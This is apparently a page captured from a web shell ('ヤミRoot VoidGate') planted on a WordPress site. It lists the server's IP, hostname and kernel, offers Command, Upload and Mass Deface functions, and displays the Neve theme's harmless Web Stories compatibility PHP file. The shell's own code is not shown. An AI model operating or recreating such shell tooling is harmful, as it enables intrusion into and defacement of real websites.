ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
173.201.252.198 / gabrieltopman.com
System
:
Linux p3plzcpnl482572.prod.phx3.secureserver.net 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Command
|
Upload
|
Mass Deface
|
Create
:
/
home
/
l1ltxx5gqn9k
/
public_html
/
wp-content
/
themes
/
neve
/
inc
/
compatibility
/
Viewing: web_stories.php
<?php /** * Web_Stories compatibility. * * @package Neve\Compatibility */ namespace Neve\Compatibility; /** * Class PWA */ class Web_Stories { /** * Init function. * * @return bool */ public function init() { if ( ! $this->should_load() ) { return false; } $this->load_hooks(); return true; } /** * Is plugin available?. */ private function should_load() { return defined( 'WEBSTORIES_VERSION' ); } /** * Load hooks. */ private function load_hooks() { add_action( 'after_setup_theme', array( $this, 'setup' ) ); add_action( 'wp_body_open', array( $this, 'embed' ) ); } /** * Setup theme support for web stories. */ public function setup() { add_theme_support( 'web-stories', [ // 'view-type' => [ 'circles', 'carousel', 'grid', 'list' ] ] ); } /** * Render the theme stories. */ public function embed() { if ( function_exists( '\Google\Web_Stories\render_theme_stories' ) ) { \Google\Web_Stories\render_theme_stories(); } } }
Coded With 💗 by
0x6ick